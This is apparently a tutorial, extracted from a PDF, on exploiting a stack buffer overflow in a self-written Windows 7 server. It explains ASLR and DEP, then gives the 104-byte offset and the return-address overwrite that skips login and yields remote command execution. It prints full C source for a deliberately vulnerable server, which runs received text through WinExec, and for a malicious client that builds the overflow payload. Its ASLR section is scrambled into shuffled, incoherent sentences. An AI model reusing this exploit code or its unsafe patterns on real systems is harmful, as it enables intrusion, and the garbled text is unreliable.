How to Find whether Module in runtime show ASLR or not : Answer is Very simple . because higher two bytes (randmize one ) already put by OS kernel onto the stack . Pitfalls of ALSR : Its a rule of computer world . the related memory addresses are obscured from the attackers. heap . As around 70 % of the third party softwares do not show ASLR . which can executed commands on the OS . open the module in hex editor . It become almost impossible to guess the correct address of teh Dll's . but the Dlls will be randomize only on the per boot basis . then stack . then its means module A will get randomize in the memory else it will not . Here thats the problem when it come to third party software . So When attacker overwrites the saved Eip or stored Exception Handler . B . then its easy to bypass this mitigation technique . then all module A . Only all Microsoft products ( Executable and DLLs ) have ASLR . so it give chance to attacker to get the address of the Winexec programm . 53 . attackers trying to execute return-tolibc attacks must locate the code to be executed. If ASLR is enabled on the system . According to Microsoft documentation . while other attackers trying to execute shellcode injected on the stack have to first find the stack. then it will have same bases address for the boot session regardless .for an attacker to predict target addresses. Like kernel32. But after implementing ASLR . then look for the field "DLLCharactersitcs" if it is set to 0x42 . For example. if a module A uses module B and C . As these Dlls will be loaded at a partcular address . Second pitfall of ASLR . so likewise ASLR has its own pitfalls . but A donot have ASLR . So if suppose kernel32.dll holds a some naughty functions like Winexec . with desire arguments . anything or everything you implement has its own limitation . and a mistaken guess is not usually recoverable due to the application crashing. then its way for an attacker to guess the address of desire instructions from module A to execute arbitarary code . is it randomize only higher two bytes of the address . and lower 2 bytes remain same everytime . then attacker take the advantage of vulnerability to overwrite the saved eip onto the stack to the address of winexec . where it at backfoot . PIB will be randomize on per execution basis .dll loaded at particular address sya 0x7123456 . These values have to be guessed. So if process B and C has ASLR . C should have DLLCharacterstics set to 0x42 to take the advantage of complete ASLR . In both cases. how many times we have execute our module .

54 . Processor architecture determines how DEP is implemented in hardware and how DEP marks the virtual memory page. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.Data Execution Prevention (DEP) : Data Execution Prevention is a mitigation technique implemented by Microsoft to prevent the the shellcode execution from the data sections like STACK . A class of attacks exists that tries to insert and run code from non-executable memory locations. Hardware-enforced DEP relies on processor hardware to mark memory with an attribute that indicates that code should not be executed from that memory. Software Enforced DEP Hardware Enforced Dep : Hardware-enforced DEP marks all memory locations in a process as non-executable unless the location explicitly contains executable code. HEAP . Advanced Micro Devices (AMD) and Intel have defined and shipped Windows-compatible architectures that are compatible with DEP. Data Segment etc . processors that support hardware-enforced DEP can raise an exception when code is executed from a page that is marked with the appropriate attribute set. DEP helps prevent these attacks by intercepting them and raising an exception. Types of Data Execution Prevention : 1. code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Hardware Enforced DEP 2. DEP functions on a per-virtual memory page basis. However. Typically. and DEP typically changes a bit in the page table entry (PTE) to mark the memory page. The primary benefit of DEP is to help prevent code execution from data pages.

such as the default heap pages. Software Enforced DEP: An additional set of Data Execution Prevention security checks have been added to Windows XP SP2. If the exception is unhandled. known as software-enforced DEP. various stack pages. However. execution of the injected code causes an exception. On a system with DEP. Execution of code from protected memory in kernel mode causes a Stop error. software-enforced DEP helps protect only limited system binaries. DEP can help block a class of security intrusions. 55 . Software-enforced DEP can help block programs that take advantage of exceptionhandling mechanisms in Windows. regardless of the hardware-enforced DEP capabilities of the processor. Windows will automatically enable PAE mode to support DEP. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. These checks. Benefits The primary benefit of DEP is that it helps prevent code execution from data pages. the process will be stopped.Beginning with Windows XP SP2. Software-enforced DEP runs on any processor that can run Windows XP SP2. code is not executed from the default heap and the stack. To use these processor features. the 32-bit version of Windows uses one of the following: The no-execute page-protection (NX) processor feature as defined by AMD. Users do not have to separately enable PAE by using the /PAE boot switch. are designed to block malicious code that takes advantage of exception-handling mechanisms in Windows. The Execute Disable Bit (XD) feature as defined by Intel. Specifically. and memory pool pages. the processor must be running in Physical Address Extension (PAE) mode. DEP can help block a malicious program in which a virus or other type of attack has injected a process with additional code and then tries to run the injected code. By default. Typically.

Similarly. Programs that have been opted-out by using the Application Compatibility Toolkit run with DEP applied. you can now easily configure DEP settings by using the System dialog box in Control Panel. 56 . programs that have been exempted from DEP protection will be exempted from both hardware-enforced and software-enforced DEP. Hardware-enforced and software-enforced DEP are configured in the same manner. Configuration Description OptIn This setting is the default configuration. Windows supports four system-wide configurations for both hardware-enforced and softwareenforced DEP. AlwaysOn This setting provides full DEP coverage for the whole system. System compatibility fixes. the same Windows core binaries and programs will be protected by both hardware-enforced and software-enforced DEP. OptOut DEP is enabled by default for all processes. regardless of hardware DEP support. only Windows system binaries are covered by DEP by default. or shims. if the system-wide DEP policy is set to OptOut. DEP is enabled by default for limited system binaries and programs that "opt-in. The processor does not run in PAE mode unless the /PAE option is present in the Boot. Information technology (IT) professionals can use the Application Compatibility Toolkit to "optout" one or more programs from DEP protection. If the system cannot use hardware-enforced DEP. All processes always run with DEP applied. You can manually create a list of specific programs that do not have DEP applied by using the System dialog box in Control Panel. the Windows core binaries and programs will be protected only by software-enforced DEP. for DEP do take effect.ini file. The exceptions list to exempt specific programs from DEP protection is not available.ini file.System-wide configuration of DEP DEP configuration for the system is controlled through switches in the Boot." With this option. AlwaysOff This setting does not provide any DEP coverage for any part of the system. If the system-wide DEP policy is set to OptIn. If you are logged on as an administrator. On systems with processors that can implement hardware-enforced DEP. System compatibility fixes for DEP do not take effect.

During installation of Windows XP SP2 and Windows Server 2003 SP1 or later versions.ini file settings are as follows: /noexecute=policy_level Note policy_level is defined as AlwaysOn. or OptOut. SnapShot oF DEP Included : Hardware Data Execution Prevention . OptIn.The Boot. These settings are also not changed if a Windows operating system image is moved across computers with or without hardware-enforced DEP support. AlwaysOff. By default (Without DEP) all sections have RWX (Read Write Executable) bit set . but after 57 .ini file for a version of Windows that supports DEP. If the /noexecute=policy_level setting is not present in the Boot. the behavior is the same as if the /noexecute=OptIn setting was included.ini file are not changed when Windows XP SP2 is installed. the OptIn policy level is enabled by default unless a different policy level is specified in an unattended installation. Existing /noexecute settings in the Boot.

which callss many SOCKET APIs like socket .0040235 is the function which sets the Exception handler in the stack frame for handle any abnormal terimnation .exe . Exploiting Target Application with above knowledge : After explaining the Security concepts ASLR and DEP of Win 7 .00401557 .004019557 calls myserver.00401557 myserver. listen accept . Kernel32. we back to our main aim of exploiting the vulnerability of myserver. it is the main function .00401235 calls myserver. then make below call myserver. It is the function which receive 58 . shutdown . bind .00401955 if (__return_value_from_myserver.implemneting hardware dep . Call stack defines which function calls which function . See the highlighted portion of the above snapshot . while DATA SEGMENT have WR bit set . From there we can say that . myserver.00401557 calls myserver.00401235 .exe .00401955 == 1 ) means user has been authenticated .00401235 myserver. Then myserver. Lets revise once more the call stack of the myserver.00401235 calls myserver.__function calls myserver.exe " i have explained above. only TEXT segment set to have RX bit set .__function calls myserver. Look at the "Quick Revise of Complete Disassembly of myserver.00401796 Lets see whats happening in above call once again kernel32.

00401557 myserver.00401955 .00401557 . 59 . myserver. Then if myserver. myserver.00401796 . Calling myserver.00401557 will call the myserver.00401235 myserver.00401557 calls myserver.00401955 Stack Frame of above call stack will be look like this .00401557 calls myserver. Now its time to make a stack of the Above call stack .00401955 is the function which take username from the client and then copy it onto the stack space of its current frame . then myserver. Then after getting connection from the client . STACK FRAME OF THE CALL STACK : Kernel32. We have learned how stack framed is construct in the memroy as one function calls aonther function .e to myserver.00401955 return the value 1 to its caller i.connection from client using "accept" API .00401796 means client has been authenticated as administrator .__function calls myserver.00401235 calls myserver.

when the above calls will take place .Complete Overview of stack formation . 60 .

Start from the lower part of the stack : We know that when kernel32. Then above scope_table_entry we can see the Exception Handler i.00401235 . So we can see that there is a saved ebp onto the stack just above saved eip . now we can see the TryLevel has been pushes onto the stack when myserver. Then above Exception Handler we can see the address of the Next Exception Registration record that can be found in the stack . then rest of the stack frame will be formed . This pushes is corrsponding to the instruction "push 0xffffffff" .00401235 .00401235 onto the stack . becuase its is from where we will exploit the myserver. Lets move ahead . then control of execution will be redirected to the address we have overwritten .00401235 .00401557 . then space for local variables will be allocated . first of all myserver.So lets try to understand once again what is this . will be started . This is the space for local variables of myserver.00401235 will pushes the arguments of the 61 . this is we can see in the snapshot above " argc and argv " . value of eax comes from FS:[0] .00401235 " in kernel32. then CPU will first save the previous EBP onto the stack . then first of all the caller function will push the arguments of the myserver. we can see the scope_table_entry . Then above the address of the previous pointer . so that it can located the local variables of kernel32.__function again . we can left it for now .e __except_handler4 . I have also mention in snapshot as "Arguments of myserver. we have seen this instruction in the disassembly in vulnerability analysis .and able to generae exception conditon in the code . Suppose we overwrite it with some other address . __function from where execution has to be continue after returning from myserver.00401235" Then when assembly instruction "call myserver.MOST IMPORTANT : Above image can say the most Important image in the whole document . the very obviously CPU will pushes the address of the instruction in kernel32. This push is correspond to the assembly instruction "push eax" . Now when myserver. It is the address of the handler which will be executed when any abnormal condition wil occurs in the execution of the program .exe . Like . Then above try_level .00401235 .__function will call the mysever.__function will be executed . Then when execution of the myserver.00401235 calls myserver.00401235.

when execution comes into the myserver.e belong to heap . no code is written in the __try and __except block .00401557 will pushes the arguments of myserver. So there are good chances to overwrite the return address of "myserver.00401557 will calls myserver.00401557 "call myserver. Here we are going to overwrite the return address of the myserver.00401557 . the username enter by client will be blindly copied here .00401557 with any address i.00401557 with 62 . As DEP will not allow us to execute code in the stack .00401235 . This is becuase in myserver. But problem with above technique is that . Then above it .00401995" . local variables of the myserver. so as usual myserver. we cannot determine the exact address of the function in modules because ASLR will randomize them on every reboot .00501995 onto the stack .00401995 . and there is not pointer to previous exception registration record . argc2" Then when instruction from myserver. Then myserver.00401557 . Then as we can see that there is no try level .00401557 with some desire address .00401557 onto the stack . Most Important thing to note down here is that . there is not scope entry table .00401557 from where it has to resume the execution after returning from myserver. i call them "argv2. so we can not overwrite the return address of the mysever.00401557 . So to byapss ASLR restirction we will overwrite the address of the myserver.myserver.dll or ntdll. then CPU will pushes the return address of the instruction from where it has to resume the execution when retrun from the mysevrer.00401995 . then CPU will pushes the return address of the instruction in myserver.00401557" with some desire address . and then when myserver.00401995 will starts . will call the myserver. When execution from myserver. This push will be corressponds to the instruciton in myserver. So it become clear that we have to overwrite the address with the address that belongs to the TEXT segment of the modules like kernel32. then EBP will be pushes onto the stack .dll loaded in the memory to by pass DEP reistriction . heap or data segment . then instruction "push ebp " will push the previous ebp on the stack . to retain the base frame of myserver. stack or data segment . there is no exception handler .00401995 .00401557 . " push ebp" Then above it we can see the .00401557 .00401995 .

00401557 myserver.00401557 on the stack frame of myserver. Every time all instruction will be at same address . to which address we overwrite the stored return address of myserver. then make below call myserver. So we we overwrite the return address of the myserver.00401557 .00401557 will calls myserver.00401235 calls myserver. it will return to the myserver.00401796 If we take clear case .00401796 .00401557 will check the enter username and password corresponds to the hardcoded username and password . then when myserver.00401796 .004019557 calls myserver.00401955 after copying username onto the stack will return to the myserver.00401955 == 1 ) means user has been authenticated .exe because as it's DLLCharaterstics byte is not set to 0x40 .some address in the TEXT segment of the module myserver.00401796 for executing commands taken from client on the WIN 7 . thats means it will not be randomize at all . Thus we able to bypass DEP . If username and password will matched then myserver.00401557 on stack ?? We can seek anser of this question in this Kernel32. Now point is . because in this case we are redirecting the control of execution in 63 .00401955 if (__return_value_from_myserver. then myserver.00401235 myserver.00401557 calls myserver. So this way we can bypass the code that checks the username and password . Then code in the myserver.00401557 will return . moreover we are able to executed commands on WIN 7 .00401995 with the address of the myserver.__function calls myserver.

We also able bypass ASLR becuas we can determine the exact address in myserver.dll . 64 .exe module instead of any other module like kernel32.dll or msvcrt.TEXT segment only . For more closer look .

65 .

00401955 .00401557 myserver.00401235 myserver.00401955 Snapshot of above calls will look like this : Snapshot of stack memory for function myserver.__function calls myserver.00401557 calls myserver. so next we look at the stack formed till the following calls . Remember here is where our username will be set after taken from the client . 66 . Kernel32.Now its time to move to real time stack formation .00401955 It is the space for local variables on the stack for funtion myserver.00401235 calls myserver. Second thing to noted down is the return address i haev highlighted .

Thus we can become the administrator withour authnticating ourself . Next Snapshot of lower part of the stack . but here you can see the space for local vairables for the fucntion myserver.: Snapshot of stack space for local variables of mysever.0040177B .But if somehow we overwrite this address to our desire address .When myserver. then it will return to the address myserver. then we will be able to redirect the control flow of execution . from there code to match username and password will start .00401557 It very similar to previous one .00401995 will return .00401557 Next snapshot of Lower part of the stack : 67 .

is that . it is correspond address "push ebp" in function myserver. that is going to be executed if any abnornmal condition going to happens in the code . Above this we can see the address of the previous EXCEPTION_REGISTRATION RECORD has been setup . Above return address we see the valued saved for EBP . Above this we can see the __try_level . 68 .. our function is called from some function in kernel32. it is the address where control flow execution will be redirected after returning from the function myserver. Then we have space for local variables for function myserver. then compiler set its value to 0x00000000 .00401235 . because when code has been executed from __try {} guard .Snapshot of stack memory for function mysevrer. here it has been set to 0x00000000 . Above this we can see the __scope_table_entry address . it is the address of the code . Above this we can see the address of Exception_handler . leave it for this document . Lets revise once more We start from the base : we can see the return address "76EB1174" . When compiler leave this guarded portion of code again value of this field will be set to 0xffffffff .00401235 Its very similar to the stack i have shown in my paper work .00401235 .00401235 .dll function . We can conclude one thing more from this .

exe . will recevice the string and put it on the stack .Final Way to Cover : Now its time to find the address where our input username goes on the stack . To achieve this first find the recv function which receving the username from client . and then follow the code to find where it is copied on the stack . becuase we are sure that code after code which send this string to the client . Next snapshot wil show you the username on the stack : Username on stack snapshot No_of_bytes (to overwrite) = __Return_address .__Address_of_input_username No_of_bytes = 0x0012FD00 .0x0012FC98 69 . so that we can calculate the number of bytes we need to overwrite to modify the return address . So simply find the string "Enter Username" in the myserver.

We know : Bytes_to_overwrite = 104 New_modified_address = 0x00401796 ( It is the address of the funtion which give us prompt without matching the username and password) Snapshot of malicious string on the stack : 70 . So lets try this now . will opverwrite the return address .No_of_bytes = 0x68 No_of_bytes ( in decimals ) = 104 bytes So if we overwrite the 104 bytes . then anybyte we overwrite after this .

00401796 .Snapshot of modified return addres Hey look at the address i have highlighted . Thus we bypass code which check authentication and able to redirect the flow of control toward the code which enables us to execute commands on SERVER . Thus when myserver.00401955 will return . then it will return to the myserver. Lets look at the screenshot .exe running : 71 . Screenshot 1 : myserver. i m able to modified the return address . So Finally we will create a malicious client which will send a long malicious string to the server to overwrite the return address .

SERVER is Running Now Connect through MaliciousClient : FINAL SNAPSHOT 72 .

VOILAAAAAAA !!!!!!!!!!!!!! WE GET THE PROMPT TO EXECUTE COMMANDS ON SERVER . 73 . Then we enter any password we want .exe .Malicious Client connect to server to exploit it . Look at the above screenshot . the highlighted string is send as the Username to the server myserver. i have enter "anypassword" .

I have given you source code . i have explained each and everything from the start of finding vulnerability to the end of exploiting the vulnerability . Conclusion : I come to the conclusion . If you are thinking why i work in assembly . just you have to do research yourself . then you can discuss with me . IF you have any query related to the topic you can mail me at : voilavoila@hotmail.exe . 74 .exe . just for you to get .We have to work in assembly . then no problem .com . I have given the source code copy them and compile them with LCC WIN32 compiler (alteast compile myserver. then i request you to share it or pass it on . If you want to compile it with some other compiler . whats going inside mysever. it will be my pleasure :) .THUS WE EXPLOIT THE SERVER "myserver.exe . becuase it is not possible for me to dump every thing about Windows Security in one paper moreover when i have to type myself :( . because i have research on myserver. Words after Journey : Hii again . So you if like to know more details about any topic .exe" TO GET COMMAND PROMPT . masti and Tafree only :P ) my email-id is " amit. If you find this paper is informative . then why you are waitng .aggarwal85@gmail. well in this paper . WIN 7 is not able to secure services running on it from hack attacks. There is a lot of information has been skipped away .com " Downloads : hey if you want to try this havoc on your computer . it is because in reallity we donot have source code of any server we download for windows . when i have source code of myserver.exe with this one) . You can join me on facebook (for mauj . But i have explained only those concepts that are neccessary to understand for exploiting myserver.exe compile with LCC WIN32 .

75 .Source Code of myserver.h> #include <stdio. int clienthandle(). int check(SOCKET).h> #define DEFAULT_BUFLEN 512 #define DEFAULT_PORT "27000" SOCKET ListenSocket = INVALID_SOCKET.h> #include <winbase. int main(void) { WSADATA wsaData.ClientSocket = INVALID_SOCKET.h> #include <windows.exe : #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdlib.

iSendResult. &wsaData). sizeof(hints)). } ZeroMemory(&hints. // Initialize Winsock iResult = WSAStartup(MAKEWORD(2. recvbuf=(char*)malloc(DEFAULT_BUFLEN). hints.2).struct addrinfo *result = NULL. 76 .value. int iResult.ai_family = AF_INET. char *recvbuf.ai_socktype = SOCK_STREAM. return 1. char sendbuf[100]. recvbuf[0]='\0'. if (iResult != 0) { printf("WSAStartup failed: %d\n". hints. hints. int recvbuflen = DEFAULT_BUFLEN. iResult).

hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE;

// Resolve the server address and port iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; }

// Create a SOCKET for connecting to server ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed: %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; }

77

printf("Now i m listening");

// Setup the TCP listening socket iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; }

freeaddrinfo(result);

iResult = listen(ListenSocket, SOMAXCONN); if (iResult == SOCKET_ERROR) { printf("listen failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; }

78

while(1) {

// Accept a client socket ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; }

// No longer need server socket //closesocket(ListenSocket);

value=check(ClientSocket); if(value==1) { clienthandle(); } else

79

char *recvbuf. int iResult. recvbuf[0]='\0'. int recvbuflen = DEFAULT_BUFLEN. 80 . recvbuf=(char*)malloc(DEFAULT_BUFLEN). iSendResult. } // while close } // main close int clienthandle() { char sendbuf[100].continue.

// Receive until the peer shuts down the connection do { iResult = recv(ClientSocket. iResult. recvbuflen. iResult=WinExec(sendbuf. if (iResult > 0) { recvbuf[iResult]='\0'. 0). strcpy(sendbuf.recvbuf). iSendResult = send( ClientSocket. recvbuf. if(iResult>31) { strcpy(sendbuf. sendbuf. 0 ). printf("now i m executing command %s"."0").sendbuf). } else { 81 .SW_SHOWDEFAULT).

closesocket(ClientSocket). sendbuf. } } else if (iResult == 0) printf("Connection closing. return 1. } } while (iResult > 0). else { printf("recv failed: %d\n"."-1"). WSAGetLastError()). iResult. WSACleanup(). 82 . WSACleanup(). } if (iSendResult == SOCKET_ERROR) { printf("send failed: %d\n". iSendResult = send( ClientSocket..strcpy(sendbuf. closesocket(ClientSocket). 0 ).\n").. return 1. WSAGetLastError()).

} // cleanup closesocket(ClientSocket). WSACleanup(). if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n". WSACleanup(). 83 . return 1. WSAGetLastError()).// shutdown the connection since we're done iResult = shutdown(ClientSocket. return 1. SD_SEND). } int check(SOCKET ClientSocket) { char sendbuf[100]. closesocket(ClientSocket).

recvbuf[0]='\0'.0). iResult=recv(ClientSocket. strcpy(sendbuf.char *recvbuf.recvbuflen. strcpy(sendbuf. recvbuf=(char*)malloc(DEFAULT_BUFLEN).strlen(sendbuf).sendbuf. iSendResult.recvbuf.0)."Enter Username"). 84 . if(iResult==0) { return -1. } recvbuf[iResult]='\0'.recvbuf). int iResult. send(ClientSocket. int recvbuflen = DEFAULT_BUFLEN.

recvbuflen. 85 .strlen(sendbuf).strlen(sendbuf).sendbuf. } else{ strcpy(sendbuf.strlen(sendbuf). recvbuf[iResult]='\0'.recvbuf)."jimmy")==0) // I DONOT MATCH USERNAME . send(ClientSocket. JUST MATCH PASSWORD .0).sendbuf)."-1"). if(strcmp(recvbuf. iResult=recv(ClientSocket. return 1."0"). send(ClientSocket.0)."Enter password").sendbuf.0).printf("username is %s". DO YOU HAVE ANY PROBLEM ??? { strcpy(sendbuf. send(ClientSocket.0). printf("password is %s".recvbuf.sendbuf. strcpy(sendbuf.

lib. and Advapi32.h> #include <winsock2. "Mswsock.h> #include <ws2tcpip.return -1.lib") #pragma comment (lib.exe : #define WIN32_LEAN_AND_MEAN #include <windows.h> // Need to link with Ws2_32.lib #pragma comment (lib. Mswsock.lib") 86 .h> #include <winbase. "AdvApi32. "Ws2_32.h> #include <stdlib.lib") #pragma comment (lib. } } Source Code of clientwin.h> #include <stdio.lib.

argv[0]). &wsaData). hints.2). 87 . return 1. *ptr = NULL. int recvbuflen = DEFAULT_BUFLEN. } // Initialize Winsock iResult = WSAStartup(MAKEWORD(2. int iResult. SOCKET ConnectSocket = INVALID_SOCKET. char **argv) { WSADATA wsaData. // Validate the parameters if (argc != 2) { printf("usage: %s server-name\n".#define DEFAULT_BUFLEN 512 #define DEFAULT_PORT "27000" int __cdecl main(int argc. char *sendbuf = "this is a test". char recvbuf[DEFAULT_BUFLEN]. struct addrinfo *result = NULL.

} // Attempt to connect to an address until one succeeds for(ptr=result. hints.ai_socktype = SOCK_STREAM. 88 . DEFAULT_PORT.ai_protocol = IPPROTO_TCP. &result).if (iResult != 0) { printf("WSAStartup failed: %d\n".ai_family = AF_UNSPEC. hints. return 1. hints. } ZeroMemory( &hints. sizeof(hints) ). ptr->ai_socktype. iResult). return 1. &hints. if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n". ptr != NULL . iResult). WSACleanup().ptr=ptr->ai_next) { // Create a SOCKET for connecting to server ConnectSocket = socket(ptr->ai_family. // Resolve the server address and port iResult = getaddrinfo(argv[1].

} // Connect to server. ConnectSocket = INVALID_SOCKET. ptr->ai_addr. if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket). WSACleanup(). freeaddrinfo(result). } break.ptr->ai_protocol). (int)ptr->ai_addrlen). 89 . if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n". iResult = connect( ConnectSocket. if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"). continue. WSACleanup(). return 1. WSAGetLastError()). } freeaddrinfo(result).

// Sending USername scanf("%s". 0).sendbuf.sendbuf). // Receving "Enter Password" iResult = recv(ConnectSocket.strlen(sendbuf).recvbuf). recvbuf[iResult]='\0'. 90 . } // Receiving "Enter Username" iResult = recv(ConnectSocket. send(ConnectSocket. printf("%s". recvbuflen.return 1.recvbuf). recvbuflen. recvbuf[iResult]='\0'.0). 0). printf("%s". // Sending password scanf("%s". recvbuf.sendbuf). recvbuf.

recvbuf). } else { printf("Wrong Username or PAssword.0). printf("try to print authentication string %s".. EXITING").send(ConnectSocket. // Scan the code iResult = recv(ConnectSocket. 0). recvbuf..strlen(sendbuf). recvbuf[iResult]='\0'. recvbuflen. if(strcmp(recvbuf. shutdown(ConnectSocket.2)."0")==0) { printf("YOU GOT THE PROMOPT ").sendbuf. } 91 . exit(0).

recvbuf. send(ConnectSocket.sendbuf). recvbuflen.// shutdown the connection since no more data will be sent // Ready to send commands WinExec("cls".strlen(sendbuf). iResult = recv(ConnectSocket. if ( iResult > 0 ) { 92 .sendbuf.0). // Receive until the peer closes the connection do { printf("######>").SW_SHOWDEFAULT). scanf("%s". 0).

WSACleanup(). return 0. } } else if ( iResult == 0 ) printf("Connection closed\n"). else printf("recv failed: %d\n". } while( iResult > 0 ).recvbuf[iResult]='\0'. WSAGetLastError()). if(strcmp(recvbuf."0")==0) { printf("command executed\n"). // cleanup closesocket(ConnectSocket). } else { printf("command failed\n"). } 93 .

lib. "Ws2_32.lib") #pragma comment (lib. "Mswsock.lib") #define DEFAULT_BUFLEN 512 #define DEFAULT_PORT "27000" int __cdecl main(int argc. "AdvApi32.lib #pragma comment (lib. Mswsock. and Advapi32.h> // Need to link with Ws2_32.lib.h> #include <winbase.h> #include <stdlib.exe : #define WIN32_LEAN_AND_MEAN #include <windows.Source Code of Malicious Client malclient.h> #include <stdio.h> #include <winsock2.lib") #pragma comment (lib.h> #include <ws2tcpip. char **argv) 94 .

FILE *fp .txt" .{ WSADATA wsaData. char recvbuf[DEFAULT_BUFLEN]. // Validate the parameters if (argc != 2) { printf("usage: %s server-name\n". } fp=fopen("c:/users/voila/Desktop/input. "w"). if(fp==NULL) { 95 . return 1. struct addrinfo *result = NULL. *ptr = NULL. int iResult. int recvbuflen = DEFAULT_BUFLEN. int i . char sendbuf[200]. argv[0]). hints. SOCKET ConnectSocket = INVALID_SOCKET.

199.txt" . 96 . exit(0). fclose(fp). exit(0).fp).printf("Unable to open file "). putc(0x40. } fputc(0x96.fp). "r").i<104.i++) { fputc('a'. fputc(0x17.fp).fp). } fgets(sendbuf.fp). fopen("c:/users/voila/Desktop/input. if(fp==NULL) { printf("unable to open file for reading"). } for(i=0.

hints.ai_family = AF_UNSPEC. &wsaData). &result). iResult). return 1.ai_socktype = SOCK_STREAM.ai_protocol = IPPROTO_TCP. hints. &hints. DEFAULT_PORT. if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n". hints. } ZeroMemory( &hints. WSACleanup(). } // Attempt to connect to an address until one succeeds 97 .2). return 1. if (iResult != 0) { printf("WSAStartup failed: %d\n". // Resolve the server address and port iResult = getaddrinfo(argv[1].// Initialize Winsock iResult = WSAStartup(MAKEWORD(2. sizeof(hints) ). iResult).

ptr->ai_protocol). } freeaddrinfo(result). freeaddrinfo(result). WSACleanup(). ptr->ai_socktype. ptr != NULL . (int)ptr->ai_addrlen).ptr=ptr->ai_next) { // Create a SOCKET for connecting to server ConnectSocket = socket(ptr->ai_family. if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n".for(ptr=result. iResult = connect( ConnectSocket. return 1. ptr->ai_addr. WSAGetLastError()). if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket). ConnectSocket = INVALID_SOCKET. 98 . continue. } break. } // Connect to server.

recvbuflen. recvbuf. return 1. //scanf("%s". recvbuf[iResult]='\0'. 99 . getchar().sendbuf). printf("%s". // Sending USername printf("\npress any key to send malicious username to server\n"). 0).if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n").recvbuf). } // Receiving "Enter Username" iResult = recv(ConnectSocket. WSACleanup().

recvbuf). // Sending password scanf("%s". recvbuf[iResult]='\0'.send(ConnectSocket. printf("%s". recvbuflen.0). recvbuf[iResult]='\0'. recvbuf.sendbuf. // Receving "Enter Password" iResult = recv(ConnectSocket. 0).strlen(sendbuf). 100 .0). printf("try to print authentication string %s". 0).recvbuf). recvbuf.sendbuf.strlen(sendbuf). // Scan the code /*iResult = recv(ConnectSocket. send(ConnectSocket.sendbuf). recvbuflen.

"0")==0) { printf("YOU GOT THE PROMOPT ").2). exit(0). EXITING"). } else { printf("Wrong Username or PAssword.SW_SHOWDEFAULT). shutdown(ConnectSocket. 101 ..if(strcmp(recvbuf.. } */ // shutdown the connection since no more data will be sent // Ready to send commands WinExec("cls".

if ( iResult > 0 ) { recvbuf[iResult]='\0'. recvbuf.sendbuf. send(ConnectSocket.// Receive until the peer closes the connection do { printf("######>").sendbuf). if(strcmp(recvbuf. recvbuflen."0")==0) { } else { } } 102 . iResult = recv(ConnectSocket. 0). scanf("%s".strlen(sendbuf).0).

else printf("recv failed: %d\n". } Byee :) See you soon 103 . WSAGetLastError()).else if ( iResult == 0 ) printf("Connection closed\n"). } while( iResult > 0 ). return 0. WSACleanup(). // cleanup closesocket(ConnectSocket).